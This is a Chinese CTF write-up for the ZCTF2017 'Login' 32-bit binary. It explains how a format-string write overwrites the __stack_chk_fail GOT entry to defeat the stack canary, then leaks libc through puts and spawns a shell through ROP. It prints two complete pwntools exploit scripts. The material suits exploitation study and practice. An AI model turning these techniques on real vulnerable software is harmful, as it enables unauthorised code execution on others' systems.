PWN-ZCTF2017-Login

PWN-ZCTF2017-Login

Scroll Down

Canary 绕过技术之劫持__stack_chk_fail函数

序言

已知 Canary 失败的处理逻辑会进入到 __stack_chk_fail 函数,__stack_chk_fail 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再进行 ROP 利用。

下面来看一道例题 ZCTF2017 Login

我们优先看下checksec

$ checksec login
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

拖到32位IDA中看下,大概长这样,两个关键函数 readsprintf
image-e52a3bca6ec44019aff217205c8b817a
image-b3030e6c093a4d3eaee8158639ec2829
image-85b2e51859d849ff8edaffb25ccd96bd

1、覆盖__stack_chk_fail 的GOT表项

offset_eax

观察上图,format string实际存放在0xffffd216,字符串被sprintf写入0xffffd19c(eax),所以要覆写format string,payload前还需要0xffffd216 - 0xffffd19c = 0x7a字节,具体填充在下面代码注释中:

def exploit():
    offset = 0x50  # 0x4c + 0x4   sprintf写入字符串的长度为0x4c + ebp
    offset_eax = 0x7a  # 0xffffd216 - 0xffffd19c = 0x7a
    # __stack_chk_fail GOT表中的地址,用于后面修改
    payload = p32(binary.symbols['got.__stack_chk_fail']) # stack
    # sprintf写入字符串的长度为0x4c,减去前面__stack_chk_fail的地址,再加上ebp
    payload += 'a' * (offset - 0x4)		# stack+ebp = offset-0x4(got.__stack_chk_fail)
    # 将返回地址覆盖为main函数地址,以便再次获得执行机会
    payload += p32(binary.symbols['main'])	# ret addr
    # 填充一定字节直到可以覆盖format string
    payload += 'a' * (offset_eax - offset + 0x4)# padding 0x26
    # 将format string修改为如下内容
    payload += r'%s:%39x%10$hhn' + '\x00'	# r''中内容不进行转义处理
    # %s 读取payload,使格式化字符串被覆盖
    # %n 配合%c或%x使用,%n负责统计输出的字符数量,写入到%n对应变量里。
    # 在上面的%10$hhn中,10$指第10个变量,hhn指写入一个字节
    # 8 alarm
    # 39 malloc
...

2、通过泄露puts的真实地址找到当前libc

第一部分的代码执行完后,__stack_chk_fail 的GOT被覆盖为malloc@plt,不会触发 Canary 机制,同时返回到 main 中,我们有了第二次输入的机会。

第二次输入将返回地址覆盖为 puts,返回地址依然设为 main 以获得第三次输入的机会,同时将 puts 的GOT表项作为 puts 的参数,这样我们就可以泄漏libc中 puts 的真实地址。

这里我们选用LibcSeacher的方式,基于泄露的 puts 真实地址算出libc_base,并顺手获取后续我们要用到的 system/bin/sh 在libc中的地址。

...
    payload = 'a' * offset			# 填充字符覆盖到ret前
    payload += p32(binary.symbols['plt.puts'])  # return address
    payload += p32(binary.symbols['main'])      # return from puts
    payload += p32(binary.symbols['got.puts'])  # args of puts

    # leak libc
    input_username(payload)
    input_passsword(p32(0))

    p.recvuntil('aaaa')			# `Login successful!`后的回显
    p.recvline()			# 读取完整的该行回显
    leak = p.recvline()[:4]		# 第二次puts的输出,取前4字节

    leak_puts_addr = u32(leak)
    print 'leak_puts_addr = ', hex(leak_puts_addr)

    libc = LibcSearcher('puts', leak_puts_addr)
    libc_base = leak_puts_addr - libc.dump('puts')
    system_addr = libc.dump('system') + libc_base
    binsh_addr = libc.dump('str_bin_sh') + libc_base
    print 'system_addr = ', hex(system_addr)
    print 'binsh_addr = ', hex(binsh_addr)
...

3、通过ROP get shell

...
    payload = '\x90' * offset + p32(system_addr) + p32(binary.symbols['main']) + p32(binsh_addr)

    input_username(payload)
    input_passsword(p32(0))

    p.interactive()
完整exp:
# coding=utf-8
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'DEBUG'

# libc_path = '/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/libc-2.19.so'
bin_path = '/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/login'

# libc = ELF(libc_path)
binary = ELF(bin_path)

def debug(command=''):
    gdb.attach(p, command)

def input_username(name):
    print 'username: ', name, hex(len(name))
    p.recvuntil('username:')
    p.sendline(name)

def input_passsword(password):
    p.recvuntil('password:')
    p.sendline(password)

def exploit():
    #debug('b *0x8048751\nc\n')
    offset = 0x50  # 0x4c + 0x4   sprintf写入字符串的长度为0x4c + ebp
    offset_eax = 0x7a  # 0xffffd216 - 0xffffd19c = 0x7a
    # __stack_chk_fail GOT表中的地址,用于后面修改
    payload = p32(binary.symbols['got.__stack_chk_fail'])   # stack
    # sprintf写入字符串的长度为0x4c,减去前面__stack_chk_fail的地址,再加上ebp
    payload += 'a' * (offset - 0x4)                         # stack+ebp = offset-0x4(got.__stack_chk_fail)
    # 将返回地址覆盖为main函数地址,以便再次获得执行机会
    payload += p32(binary.symbols['main'])                  # ret addr
    # 填充一定字节直到可以覆盖format string
    payload += 'a' * (offset_eax - offset - 0x4)            # padding 0x26
    # 将format string修改为如下内容
    payload += r'%s:%39x%10$hhn' + '\x00'                   # r''中内容不进行转义处理
    # %s 读取payload,使格式化字符串被覆盖
    # %n 配合%c或%x使用,%n负责统计输出的字符数量,写入到%n对应变量里。
    # 在上面的%10$hhn中,10$指第10个变量,hhn指写入一个字节
    # 8 alarm
	# 39 malloc

    print len(payload)
    input_username(payload)
    input_passsword(p32(0))

    payload = 'a' * offset                                  # 填充字符覆盖到ret前
    payload += p32(binary.symbols['plt.puts'])              # return address
    payload += p32(binary.symbols['main'])                  # return from puts
    payload += p32(binary.symbols['got.puts'])              # args of puts
    # PTL表中存放着与之对应的GOT表,而GOT表中存放着函数的真实地址

    # leak libc
    input_username(payload)
    input_passsword(p32(0))

    p.recvuntil('aaaa')                                     # `Login successful!`后的回显
    p.recvline()                                            # 读取完整的该行回显
    leak = p.recvline()[:4]                                 # 第二次puts的输出,取前4字节

    leak_puts_addr = u32(leak)
    print 'leak_puts_addr = ', hex(leak_puts_addr)

    libc = LibcSearcher('puts', leak_puts_addr)
    libc_base = leak_puts_addr - libc.dump('puts')
    system_addr = libc.dump('system') + libc_base
    binsh_addr = libc.dump('str_bin_sh') + libc_base
    print 'system_addr = ', hex(system_addr)
    print 'binsh_addr = ', hex(binsh_addr)

    payload = '\x90' * offset + p32(system_addr) + p32(binary.symbols['main']) + p32(binsh_addr)

    input_username(payload)
    input_passsword(p32(0))

    p.interactive()


if __name__ == '__main__':
    global p
    p = process(executable=bin_path, argv=[bin_path])
    exploit()

来看看exp执行结果:

image-4affc5b63e694df798352294c08c8f43

参考链接:https://jontsang.github.io/post/34549.html

尾声

这里再为大家提供另一种解法思路,感兴趣的小伙伴可以自行研究一番,本文不再赘述。

# coding=utf-8
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *

elf = ELF('/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/login')
fp = open('exp', 'wb')
#context.log_level = 'debug'

puts_got_addr = elf.symbols['got.puts']
puts_plt_addr = elf.symbols['plt.puts']
read_plt = elf.symbols['plt.read']
stack_chk_fail_addr = elf.symbols['got.__stack_chk_fail']

# .init
pop_ret_addr = 0x08048465        # pop ebx; ret
add_esp_ret = 0x08048462         # add esp, 0Ch; ret
ret_addr = 0x8048466             # ret
# csu_init
sub_pop4_ret_addr = 0x08048915   # sub esp, 0Ch; pop ebx; pop esi; pop edx; pop ebp; ret
pop3_ret_addr = 0x08048919       # pop 3 reg; ret
# ROPgadget --binary login --only 'pop|mov|leave|ret'
pop_ebp_ret_addr = 0x0804871F    # pop ebp; ret
leave_ret_addr = 0x08048598      # leave; ret

bss_wr_addr = 0x804Ae20 # 需要可写
read_buff_addr = 0x804862B  # 利用程序已有的去读取比较方便
call_puts_addr = 0x8048761  # 利用已有的call

# call function(arg); return to pop ret
def gadget_arg(func_addr, arg):
    payload = p32(func_addr)
    payload += p32(pop_ret_addr)
    payload += p32(arg)
    return payload

# call function(args[0], args[1], args[2]); return to func_ret
def gadget_args(func_addr, args, func_ret):
    payload = p32(func_addr)
    payload += p32(func_ret)
    for arg in args:
        payload += p32(arg)
    return payload

def pwn():
    padding = p32(stack_chk_fail_addr)
    # 这里需要不断调整
    padding = padding.ljust(0x50, 'c')
    padding += gadget_arg(puts_plt_addr, puts_got_addr)          # puts(puts_addr)
    # read_buff(shell_rop, 0x01010101, 0x01010101)
    # 这里要注意, 字符串有一定的限制 而且要注意call read_buff 时的结尾符要设置合理,这里是0x01
    padding += gadget_args(read_buff_addr, [bss_wr_addr, 0x01010101, 0x01010101], sub_pop4_ret_addr)
    # 恢复栈, 这里具体要填充多少个'h'是通过调试看
    # 然后再通过leave 使得 esp=ebp-4
    padding += 12*'h' + p32(bss_wr_addr-0x04) + p32(leave_ret_addr)
    padding += 'A' * (0xeb - len(padding))
    # hh: unsigned char   这里要覆盖chk_fail的最后一个字节
    padding += '%10$hhn-----'
    #padding += '_%10$p'  测试参数的位置

    # produce username and password
    username = padding
    password = 'ED'
    # 由于上面rop的是 read_buff(shell_rop, 0x01010101, 0x01010101)字符串以0x01结尾
    pad_shell = '/bin/sh\x01'  

    print 'username: ', username, hex(len(username))
    p = process('/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/login')
    p.recvuntil('username:')
    p.sendline(username)

    # password 随意
    p.recvuntil('password:')
    p.sendline(password)
    p.recvuntil('AAA\n')
    #print p.recvall()

    # read address of puts
    raw_input('leak puts?')
    data = p.recvuntil('\n')[:-1]
    print data
    puts_addr = u32(data[:4])
    print 'address of puts:', hex(puts_addr)

    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    execve_addr = libc.dump('execve') + libc_base
    print 'address of libc:', hex(libc_base)
    print 'address of execve:', hex(execve_addr)

    # write shell to bss
    shell_rop = p32(execve_addr)
    shell_rop += p32(pop_ret_addr)
    shell_rop += p32(bss_wr_addr+0x40)
    shell_rop += p32(0)
    shell_rop += p32(0)
    shell_rop = shell_rop.ljust(0x40, 'S')
    pad_shell = shell_rop + pad_shell
    p.sendline(pad_shell)
    p.interactive()

pwn()

'''
def get_offset():
    for i in range(0x50, 0x100):
        p = process('/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/login')
        p.recvuntil('username:')
        p.sendline('A'*i)
        p.recvuntil('password:')
        p.sendline('B'*0x10)
        print 'the padding size:', hex(i)
        data = p.recvall()
        print data
        if ':' not in data:
            break

get_offset()
'''

参考链接:https://steinsgatep001.gitbooks.io/pwnstudy/ctf_exec/zctf2017/pwn1/exp.html

Canary-2_ZCTF2017-Login原题及exp脚本